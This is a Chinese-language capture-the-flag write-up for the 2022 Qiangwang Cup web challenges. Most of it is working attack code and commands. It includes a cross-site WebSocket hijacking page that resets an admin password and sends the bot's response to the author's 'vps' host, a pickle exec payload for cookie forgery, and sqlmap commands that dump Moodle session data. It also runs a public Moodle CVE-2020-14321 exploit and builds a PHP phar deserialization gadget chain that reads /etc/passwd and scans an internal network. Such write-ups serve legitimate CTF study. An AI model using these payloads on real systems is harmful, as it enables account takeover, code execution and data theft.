强网杯2022——WEB

强网先锋

rcefile

www.zip下载源码,可见黑名单过滤。

image-20220731172435887

开启了spl_autoload_register 没有做限制的话 ,在反序列化实例化一个test类的时候,spl_autoload_register会自动去当前目录下包含文件名为test.php 或者是test.inc

强网杯2022——WEB_第1张图片

上传一个inc,再生成反序列化数据,最后去config.inc.php包含,执行木马

强网杯2022——WEB_第2张图片

强网杯2022——WEB_第3张图片

强网杯2022——WEB_第4张图片

WEB

babyweb

ws协议通讯,且未对请求的Origin头字段进行校验可以打类似CSRF的CSWSH(Cross-site WebSocket Hijacking)

拿题目上的ws js改一下丢到自己vps上 让admin bot去check一下,建立连接并发送修改密码的请求,我这里写的改完之后回弹执行结果,vps上监听两个端口就行。

DOCTYPE html>
 <meta charset="utf-8" />
 <title>WebSocket Testtitle>
 <script language="javascript" type="text/javascript">
var ws = null;
        var url = "ws://127.0.0.1:8888/bot";
        function init()
        {
        sendtobot();
        }
        function sendtobot() {
            if (ws) {
                var msg = "changepw 123456";
                ws.send(msg);
            }
            else{
                ws = new WebSocket(url);
                ws.onopen = function (event) {
                    console.log('connection open!')
                    var msg = "changepw 123456";
                    ws.send(msg);
                }
                ws.onmessage = function (ev) {
                    botsay(ev.data);
                };
                ws.onerror = function () {
                    console.log("connection error");
                };
                ws.onclose = function () {
                    console.log("connection close!");
                };
                
            }
        }
        function botsay(content) {
            document.location='http://vps:7777?c=bot: ' + content;
        }
        function closeWebSocket() {
            if(ws){
                ws.close();
                ws = null;
            }
        }

 window.addEventListener("load", init, false);
 script>

强网杯2022——WEB_第5张图片

强网杯2022——WEB_第6张图片

image-20220730210127830

然后去登录admin账号即可,购买提示,获得后端源码下载地址。

强网杯2022——WEB_第7张图片

可以通过减去负数的cost使得money增加

强网杯2022——WEB_第8张图片

但python后端写死了合理的num

强网杯2022——WEB_第9张图片

利用前后端的JSON Parsers 差异安全问题绕过:

  • python标准库中的JSON解析器,针对重复键,将返回最后一个键值对。

  • Golang服务,使用了高性能的第三方JSON解析器(buger/jsonparser),针对重复键,它会返回第一个键值对。

提交一个负数的值就能加钱了,直接购买flag即可。

强网杯2022——WEB_第10张图片

强网杯2022——WEB_第11张图片

crash

OBJ(GLOBAL('builtins', 'exec'), '''c="import admin;admin.s"+"ecret='1'";exec(c)''') 
return

使用pker生成cookie

image-20220731212823282

带着恶意cookie去访问/balancer修改admin的密码,然后正常登录。

提交权重均为0,地址任意合法即可,多等一会等待模拟结果返回就是flag。

强网杯2022——WEB_第12张图片

easylogin

https://zhuanlan.zhihu.com/p/471299626

https://cn-sec.com/archives/1206142.html

强网杯2022——WEB_第13张图片

sqlmap去跑数据

python sqlmap.py -r 2.txt --flush-session --random-agent -D moodle -T mdl_sessions --technique E --columns --batch

强网杯2022——WEB_第14张图片

强网杯2022——WEB_第15张图片

强网杯2022——WEB_第16张图片

user密码是加密得,根据https://severalnines.com/blog/using-redis-offload-galera-cluster-session-management-data-moodle/得知登录session会放入数据库mdl_sessions表

强网杯2022——WEB_第17张图片

强网杯2022——WEB_第18张图片

python sqlmap.py -r 2.txt --flush-session --random-agent -D moodle -T mdl_sessions -C id,sid,userid,sessdata --technique E --batch --dump

强网杯2022——WEB_第19张图片

然后登录页面替换cookie值,进入管理员页面。(实际时要用userid为2的sid,写wp的时候环境有问题了)

https://github.com/HoangKien1020/CVE-2020-14321 用这个exp

运行脚本执行命令 或者手动上传zip执行命令

python3 cve202014321.py -url http://47.105.52.19:8888 -cookie=rpu74vh353tiflel5ncdilqka7 -cmd=cat //etc/mytest/flaaaaaaaggggggggggggggggggggg

easyweb

利用伪协议读源码,使用demo或者guest加在不影响的位置绕过检测

/showfile.php?f=php://filter/read=convert.base64-encode/demo/resource=upload.php

强网杯2022——WEB_第20张图片

利用SESSION_UPLOAD_PROGRESS上传文件

import requests
import io

url = "http://47.104.95.124:8080/upload.php"
f = io.BytesIO(b"t" * 1024 * 50)
r = requests.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "2333"}, files={"file": open("fixd_phar.jpg","rb")}, cookies={"PHPSESSID": "2333"})
path = r.text.split(" ")[-2].split("/")[-2]

r = requests.get(f"http://47.104.95.124:8080/showfile.php?f=phar:///var/www/html/{path}/fixd_phar.jpg/demo.txt",timeout=1)
print(r.text)

phar文件生成脚本如下:

AdminShow#__wakeup -> GuestShow#__toString -> AdminShow#__get -> AdminShow#show



    class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "{$src} />";
    }
    function __destruct(){
        echo $this;
    }
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = '';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }

        $url = $this->schema . $this->source;
        echo $url;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "{$src} />";

    }
    public function __wakeup()
    {
        echo "wakeup";
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

$a = new AdminShow('a');
$b = new GuestShow('a');
$c = new AdminShow('file:///etc/passwd');
$b->file = $c;
$a->schema = $b;
echo serialize($a);

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("demo.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
?>

或者直接用GuestShow#__destruct方法就能直接触发自己的toString。

强网杯2022——WEB_第21张图片

$a = new GuestShow("a");
$b = new AdminShow("file:///etc/passwd");
$a->file=$b;

wakeup的绕过可以用属性个数大于实际的方法,将属性个数加1变成5,或者把schema属性删掉。

image-20220802001206934

改完的文件还需要修复一下phar的校验头

# -*- coding: utf-8 -*-
from hashlib import sha1
f = open('phar.jpg', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixd_phar.jpg', 'wb').write(newf) # 写入新文件

其实不用这么麻烦去调用,因为AdminShow类中未public schema属性,反序列化时可以直接进入__get进行任意覆盖同时绕过wakeup

强网杯2022——WEB_第22张图片

强网杯2022——WEB_第23张图片

<?php

class AdminShow
{
    public $source;
    public $str;
    public $filter;

    public function __construct($file)
    {
        $this->source = $file;
    }
}
$a = new AdminShow("file:///etc/passwd");
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("demo.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();

然后用上面的脚本上传,利用AdminShow#show的curl扫内网,目标机器在10段,然后file协议读flag。

你可能感兴趣的:(ctf,web安全)